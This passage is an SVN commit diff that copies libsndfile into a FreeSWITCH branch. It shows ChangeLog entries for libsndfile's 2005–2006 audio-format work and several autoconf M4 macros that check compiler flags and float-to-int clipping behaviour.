     Fix the library name in created win32 DEF file. Add correct DLL name for
@@ -352,7 +2008,7 @@
     * src/wav.c src/wav_w64.c src/sndfile.c src/sndfile.h.in
     Apply large patch from Jesse Chappell which adds support for RIFX files.
 
-2006-03-08 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * Makefile.am
     Add Mingw-make-dist.sh to the extra dist files.
@@ -364,7 +2020,7 @@
     New test program to test that the win32 DLL ordinals agree with the DEF
     file.
 
-2006-03-04 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.h
     Add a static inline function to convert an int to a size_t. This will be
@@ -378,7 +2034,7 @@
     Add a workaround for situations where OSX seems to add an extra 0x52 bytes
     to the start of the resource fork.
 
-2006-02-19 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-02-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * Mingw-make-dist.sh
     Add a shell script to build the windows binary/source ZIP file.
@@ -393,17 +2049,17 @@
     * configure.ac
     Bump version to 1.0.14.
 
-2006-02-11 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-02-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sd2.c
     Improve logging of errors in resource fork parser.
 
-2006-01-31 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-01-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * Win32/Makefile.msvc
     Replace au_g72x.* with g72x.*. Thanks to ussell Borogove.
 
-2006-01-29 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-01-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.c
     Make sure return values are initialised header buffer is full.
@@ -411,7 +2067,7 @@
     * src/wav.c
     Add workarounds for messed up WAV files.
 
-2006-01-21 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-01-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * Win32/config.h
     Undef HAVE_INTTYPES_H for win32.
@@ -425,7 +2081,7 @@
     * doc/*.html NEWS README
     Update version numbers.
 
-2006-01-19 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-01-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/xi.c
     Start work on add read/write of instrument chunks.
@@ -438,7 +2094,7 @@
     automatically because it requires 3 Gig of disk space and takes 3 minutes
     to run.
 
-2006-01-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-01-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/sndfile-play.c
     Fix calculation of samples remaining in win32 code. Thanks Axel Roebel.
@@ -447,10 +2103,10 @@
     Make sure length of header buffer can hold header plus strings. Thanks Axel
     Roebel.
 
-2006-01-09 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-01-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.h.in src/aiff.c src/wav.c
-    Apply a patch from John Fitch (Csound project).
+    Apply a patch from John ffitch (Csound project).
     Add detune field to SF_INSTRUMENT struct.
     Add reading/writing instrument chunks to WAV files.
 
@@ -460,7 +2116,7 @@
     * tests/Makefile.am
     Hook instrument tests into test suite.
 
-2006-01-05 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-01-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac
     Check for <inttypes.h> because some broken systems (like Solaris) don't have
@@ -469,7 +2125,7 @@
     * src/sfendian.h src/common.h
     Use <inttypes.h> if <stdint.h> is not available.
 
-2005-12-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-12-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/peak_chunk_test.c
     Extend and clean up tests.
@@ -477,7 +2133,7 @@
     * src/sndfile.c
     Fix a bug that prevented the turning off of PEAK chunks.
 
-2005-12-29 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-12-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/error_test.c
     Make the test distclean correct.
@@ -485,13 +2141,13 @@
     * src/file_io.c
     Fix an SD2 MacOSX bug (reported by vince schwarzinger).
 
-2005-12-28 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-12-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/aiff.c tests/command_test.c
     Apply a big patch from John ffitch (Csound project) to add reading and
     writing of instrument chunks to AIFF files. Also update the test.
 
-2005-12-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-12-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/aiff_rw_test.c tests/virtual_io_test.c tests/utils.tpl
     Move test function dump_data_to_file() to utils.tpl.
@@ -500,7 +2156,7 @@
     Updates, including a new test to test that sf_error() returns a valid error
     number.
 
-2005-12-07 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-12-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/list_formats.c
     Make sure the SF_INFO struct is memset to all zero before being used.
@@ -509,7 +2165,7 @@
     * src/sndfile.c
     Make the return value of sf_error() match the API documentation.
 
-2005-11-19 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-11-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/sndfile-convert.c
     Allow conversion to raw gsm610.
@@ -523,7 +2179,7 @@
     * src/sndfile.c
     Rejig file extension based file type detection.
 
-2005-11-16 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-11-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.c
     Add "gsm" as a recognised file extension when no magic number can be found.
@@ -531,12 +2187,12 @@
     * tests/lossy_comp_test.c tests/Makefile.am
     Test headerless GSM610.
 
-2005-11-13 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-11-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * doc/api.html
     Fix a minor typo and a minor error. Thanks Christoph Kobe and John Pavel.
 
-2005-10-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/wav_w64.c
     Add more reporting of 'fmt ' chunk for G721 encoded files.
@@ -544,12 +2200,12 @@
     * src/wav.c
     Gernerate a more correct 20 byte 'fmt ' chunk rather than a 16 byte one.
 
-2005-10-29 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/G72x/g72x.[ch]
     Minor cleanup of interface.
 
-2005-10-28 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/ogg.c
     Removed the horribly broken and non-functional OGG implementation when
@@ -559,7 +2215,7 @@
     * src/caf.c
     Fix a memory leak.
 
-2005-10-27 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-27  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/g72x.c src/G72x/*.(c|h) src/common.h src/sndfile.c src/wav.c src/au.c
     Add support for G721 encoded WAV files.
@@ -591,7 +2247,7 @@
     *  src/*.c
     Fix knock on effects of above.
 
-2005-10-26 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/sndfile-info.c
     Complete dumping SF_INSTRUMENT data.
@@ -603,13 +2259,13 @@
     Add a string comment to the end of the files to make sure that the decoder
     doesn't decode beyond the end of the audio data section.
 
-2005-10-25 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/sndfile-info.c
     Minor code cleanup.
     Start work on dumping SF_INSTRUMENT data.
 
-2005-10-23 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.h.in src/common.h src/common.c
     Update definition of SF_INSTRUMENT struct and create a function to allocate
@@ -629,17 +2285,17 @@
     Add test for set and getof SF_INSTRUMENT data.
     The file command_test.c is no longer autogen generated.
 
-2005-10-15 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/gsm610.c
     Minor cleanup.
 
-2005-10-14 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/lossy_comp_test.c
     Minor cleanup.
 
-2005-10-13 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/*.c
     Ensure sfconfig.h is included before any other header file.
@@ -650,12 +2306,12 @@
     * src/gsm610.c
     Make sure SF_FORMAT_WAVEX are handled correctly.
 
-2005-10-07 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-10-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac
     Add options to allow disabling of FLAC and ALSA. Suggested by Ben Greear.
 
-2005-09-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/locale_test.c
     Modify the way the unicode strings were encoded so that older compilers
@@ -667,17 +2323,17 @@
     * NEWS README Win32/config.h doc/(FAQ|index.html|command|api).html
     Update version numbers.
 
-2005-09-26 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/flac.c
     Fix valgrind error and minor cleanup.
 
-2005-09-25 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/(au|paf|aiff|w64|wav|svx).c
     Make sure structs are initialised.
 
-2005-09-24 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-24  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac
     Make -Wdeclaration-after-statement work with --enable-gcc-werror configure
@@ -685,23 +2341,23 @@
     Add -std=gnu99 (C99 plus posix style stuff like gmtime_r) to CFLAGS if the
     compiler supports it.
 
-2005-09-23 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac acinclude.m4
     Add -Wdeclaration-after-statement to CFLAGS if the compilers supports it.
 
-2005-09-22 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/util.(tpl|def)
     Make the test_write_*_or_die() functions const safe.
 
-2005-09-21 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/nist.c
     Make sure the data offset is read from the file header. Thanks to
     David A. van Leeuwen for a patch.
 
-2005-09-20 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-20  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac src/sfconfig.h
     Check for <locale.h> and the function setlocale().
@@ -710,7 +2366,7 @@
     * tests/locale_test.c tests/Makefile.am
     Add new test program and hook into build/test system.
 
-2005-09-18 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-18  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.h src/file_io.c
     On windows, use windows specific types for file handles.
@@ -722,14 +2378,14 @@
     * src/sndfile.c src/test_file_io.c
     Fix knock on effects.
 
-2005-09-06 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-06  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/float_cast.h
     The lrint and lrintf implementations in Cygwin are both buggy and slow.
     Add replacements which were pulled from the Public Domain MinGW math.h
     header file.
 
-2005-09-05 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/(lossy_comp_test|virtual_io_test).c
     More Valgrind fixups.
@@ -740,7 +2396,7 @@
     * Win32/config.h Win32/sndfile.h Win32/Makefile.msvc
     Update build for MSVC.
 
-2005-09-04 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/lossy_comp_test.c
     Make sure to close SNDFILE when exiting test when file format is not seekable.
@@ -748,7 +2404,7 @@
     * tests/(aiff_rw_test|virtual_io_test).c
     Do a few valgrind fix ups.
 
-2005-09-03 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-09-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/float32.c src/double64.c
     Replace floating point equality comparisons with greater/less comparisons.
@@ -764,18 +2420,18 @@
     * src/file_io.c
     Remove Mac OS9 Metrowerks compiler specific hacks.
 
-2005-08-31 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-08-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/w64.c
     Cast integer literal to sf_count_t in call to psf_binheader_writef() to
     prevent Valgrind error.
 
-2005-08-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-08-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * doc/command.html
     Improve documentation of SF_GET_FORMAT_SUBTYPE.
 
-2005-08-26 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-08-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/sndfile-convert.c
     Allow files to be converted to SD2 format.
@@ -784,17 +2440,17 @@
     Fix a bug in reading and writing of SD2 files on little endian CPUs.
     Thanks to Matthew Willis for finding this.
 
-2005-08-25 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-08-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * doc/api.html
     Update Note2 to point to SFC_SET_SCALE_FLOAT_INT_READ.
 
-2005-08-16 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-08-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac
     Use $host_os instead of $target_os (thanks to Mo De Jong).
 
-2005-08-15 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-08-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/Makefile.am
     Apply a patch from Mo DeJong to allow building outside of the source dir.
@@ -806,7 +2462,7 @@
     Move some code from wav.c to wav_w64.c to improve the log output of files of
     type WAVE_FORMAT_EXTENSIBLE.
 
-2005-08-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-08-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/create_symbols_file.py
     Make sure sf_write_fsync is an exported symbol.
@@ -814,7 +2470,7 @@
     * examples/sndfile-convert.c
     Add support for writing VOX adpcm files.
 
-2005-07-31 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * doc/api.html
     Document the new function sf_write_sync().
@@ -822,7 +2478,7 @@
     * doc/FAQ.html
     Do you plan to support XYZ codec.
 
-2005-07-28 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.h.in src/sndfile.c
     Add function sf_write_sync() to the API.
@@ -833,7 +2489,7 @@
     * tests/write_read_test.tpl
     Use the new function in the tests.
 
-2005-07-24 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-24  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.h src/double64.c src/float32.c src/sndfile.c
     Change the way PEAK chunk info is stored. Peaks now stored as an sf_count_t
@@ -846,7 +2502,7 @@
     Implement 'peak' chunk for file wuth data in SF_FORMAT_FLOAT or
     SF_FORMAT_DOUBLE format.
 
-2005-07-23 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/nist.c
     Fix a bug where a variable was being used without being initialized.
@@ -858,7 +2514,7 @@
     * src/aiff.c src/wav.c
     Fix allocation for PEAK_CHUNK (bug found using valgrind).
 
-2005-07-21 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.h
     Move the peak_loc field of SF_PRIVATE to the PEAK_CHUNK struct.
@@ -868,12 +2524,12 @@
     * src/aiff.c src/caf.c src/wav.c src/float32.c src/double64.c
     Fix knock on effects from above.
 
-2005-07-19 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/wav.c
     Prevent files with unknown chunks from being opened read/write.
 
-2005-07-14 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/flac.c
     Do not use psf->end_of_file because it never gets set to anything.
@@ -881,7 +2537,7 @@
     * src/common.h
     Remove unused SF_PRIVATE field end_of_file.
 
-2005-07-12 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-12  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.c
     Change the 'S' format specifier of psf_binheader_writef() to write AIFF
@@ -891,7 +2547,7 @@
     Move to new (correct) AIFF string style. Thanks to Axel Roebel for being
     so persistent on this issue.
 
-2005-07-11 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.c
     Allow SFE_UNSUPPORTED_FORMAT as an error from sf_open().
@@ -902,7 +2558,7 @@
     * src/mat5.c
     Modify the way the header is written.
 
-2005-07-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/caf.c
     Add a 'free' chunk to the written file so that the audio data starts at
@@ -911,7 +2567,7 @@
     * src/sndfile.c
     Allow SFE_UNSUPPORTED_FORMAT as an error from sf_open().
 
-2005-07-09 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/caf.c src/sndfile.c
     Add support for signed 8 bit integers.
@@ -922,7 +2578,7 @@
     * doc/index.html
     Update matrix for signed 8 bit integers in CAF files.
 
-2005-07-08 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.c
     Update sf_check_format() to support CAF.
@@ -943,7 +2599,7 @@
         tests/header_test.tpl misc_test.c
     Add tests for CAF files.
 
-2005-07-07 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * doc/FAQ.html
     Fix Q/A about reading/writing memory buffers.
@@ -951,7 +2607,7 @@
     * src/caf.c
     Bunch of work to support reading of CAF files.
 
-2005-07-04 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-07-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/(aiff|ima_adpcm|mat4|mat5|ms_adpcm).c examples/sndfile-play.c
     Fix sign conversion errors reported by gcc-4.0.
@@ -962,7 +2618,7 @@
     * src/sndfile.c src/common.h src/sndfile.h.in src/Makefile.am
     Hook new file into build system.
 
-2005-06-21 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-06-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src_wav_w64.c
     Fix handling of stupidly large 'fmt ' chunks. Thanks to Vadim Berezniker
@@ -971,7 +2627,7 @@
     * src/common.h src/sndfile.c
     Remove redundant error code SFE_WAV_FMT_TOO_BIG.
 
-2005-06-20 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-06-20  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.h.in src/common.h src/sndfile.c
     Add public error value SF_ERR_MALFORMED_FILE.
@@ -986,7 +2642,7 @@
     * regtest/database.c regtest/sndfile-regtest.c
     Fix compiling when sqlite is missing.
 
-2005-06-11 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-06-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/file_io.c
     Fix psf_is_pipe() and return value of psf_fread() when using virtual i/o.
@@ -1003,7 +2659,7 @@
     * src/(sndfile.h.in|file_io.c|common.h|sndfile.c) tests/virtual_io_test.c
     Rename some of the virtual i/o functions and data types.
 
-2005-06-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-06-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.c
     Fix the return values of sf_commands : SFC_SET_NORM_DOUBLE,
@@ -1014,7 +2670,7 @@
     Correct documented return values for SFC_SET_NORM_DOUBLE and
     SFC_SET_NORM_FLOAT. Thanks to Kyroz again.
 
-2005-05-17 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-05-17  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * regtest/*
     Add new files for sndfile-regtest program.
@@ -1026,7 +2682,7 @@
     Fix a regression where long ICMT chunks were causing the WAV parser
     to exit.
 
-2005-05-15 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-05-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * libsndfile.spec.in
     Add html docs to the files section as suggested by Karsten Jeppesen.
@@ -1034,17 +2690,17 @@
     * src/aiff.c
     Fix parsing of odd length ANNO chunks.
 
-2005-05-13 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-05-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.h
     Change the include guard to prevent clashes with other code.
 
-2005-05-12 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-05-12  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/sndfile-play.c
     Improve error handling in code for playback under Linux/ALSA.
 
-2005-05-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-05-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/ircam.c
     Fix writing of IRCAM files on big endian systems (thanks to Axel Roebel).
@@ -1054,7 +2710,7 @@
     produce files with very short LIST chunks (thanks to Jonathan Segel who
     supplied the file).
 
-2005-04-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-04-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/aiff.c
     Apply a patch From David Viens to make the parsing of basc chunks more
@@ -1064,13 +2720,13 @@
     Another patch from David Viens to write correct wavex channel masks for
     the most common channel configurations.
 
-2005-04-08 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-04-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/command.c
     Only allow FLAC in the format arrays if FLAC is enabled. Thanks to
     Leigh Smith.
 
-2005-03-09 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-03-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/common.h
     Add a directory field for storing the file directory to the SF_PRIVATE
@@ -1083,13 +2739,13 @@
     Cleanup psf_open_rsrc() and also check for resource fork in
     .AppleDouble/filename.
 
-2005-03-01 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-03-01  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/svx.c
     Fix a bug in the printing of the channel count. Bug reported by Michael
     Schwendt. Thanks.
 
-2005-01-26 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-01-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/paf.c
     Fix a seek bug for 24 bit PAF files.
@@ -1097,7 +2753,7 @@
     * tests/write_read_test.tpl
     Update write_read_test to trigger the previously hidden PAF seek bug.
 
-2005-01-25 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2005-01-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/aiff.c src/w64.c src/wav.c
     Do not return a header parse error when the log buffer overflows.
@@ -2162,7 +3818,7 @@
     * src/*.c examples/*.c tests/*.c
     Fix all compiler warnings arising from the above.
 
-2003-08-02
+2003-08-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/aiff_rw_test.c tests/Makefile.am
     New test program to check for errors re-writing the headers of AIFC files

Copied: freeswitch/branches/seven/libs/libsndfile/M4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4)

Property changes: freeswitch/branches/seven/libs/libsndfile/M4


Name: svn:ignore
   + Makefile.in
Makefile
libtool.m4

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/Makefile.am

Copied: freeswitch/branches/seven/libs/libsndfile/M4/Makefile.am (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+## Process this file with automake to produce Makefile.in
+
+EXTRA_DIST = add_cflags.m4 clip_mode.m4 endian.m4 extra_largefile.m4 \
+	flexible_array.m4 llrint.m4 lrint.m4 lrintf.m4 octave.m4 extra_pkg.m4
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/add_cflags.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/add_cflags.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/add_cflags.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/add_cflags.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/add_cflags.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+dnl @synopsis AC_ADD_CFLAGS
+dnl
+dnl Add the given option to CFLAGS, if it doesn't break the compiler
+
+AC_DEFUN([AC_ADD_CFLAGS],
+[AC_MSG_CHECKING([if $CC accepts $1])
+	ac_add_cflags__old_cflags="$CFLAGS"
+	CFLAGS="$CFLAGS $1"
+	AC_TRY_LINK([
+			#include <stdio.h>
+			],
+		[puts("Hello, World!"); return 0;],
+		AC_MSG_RESULT([yes]),
+		AC_MSG_RESULT([no])
+		CFLAGS="$ac_add_cflags__old_cflags"
+		)
+])# AC_ADD_CFLAGS

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/add_cxxflags.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/add_cxxflags.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/add_cxxflags.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/add_cxxflags.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/add_cxxflags.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+dnl @synopsis AC_ADD_CXXFLAGS
+dnl
+dnl Add the given option to CXXFLAGS, if it doesn't break the compiler
+
+AC_DEFUN([AC_ADD_CXXFLAGS],
+[AC_MSG_CHECKING([if $CXX accepts $1])
+	ac_add_cxxflags__old_cxxflags="$CXXFLAGS"
+	CXXFLAGS="$CXXFLAGS $1"
+	AC_TRY_LINK([
+			#include <cstdio>
+			],
+		[puts("Hello, World!"); return 0;],
+		AC_MSG_RESULT([yes]),
+		AC_MSG_RESULT([no])
+		CXXFLAGS="$ac_add_cxxflags__old_cxxflags"
+		)
+])# AC_ADD_CXXFLAGS

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/clip_mode.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/clip_mode.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/clip_mode.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/clip_mode.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/clip_mode.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,124 @@
+dnl @synopsis AC_C_CLIP_MODE
+dnl
+dnl Determine the clipping mode when converting float to int.
+dnl @version 1.0	May 17 2003
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+
+
+
+
+
+
+
+dnl Find the clipping mode in the following way:
+dnl    1) If we are not cross compiling test it.
+dnl    2) IF we are cross compiling, assume that clipping isn't done correctly.
+
+AC_DEFUN([AC_C_CLIP_MODE],
+[AC_CACHE_CHECK(processor clipping capabilities, 
+	ac_cv_c_clip_type,
+
+# Initialize to unknown
+ac_cv_c_clip_positive=unknown
+ac_cv_c_clip_negative=unknown
+
+
+if test $ac_cv_c_clip_positive = unknown ; then
+	AC_TRY_RUN(
+	[[
+	#define	_ISOC9X_SOURCE	1
+	#define _ISOC99_SOURCE	1
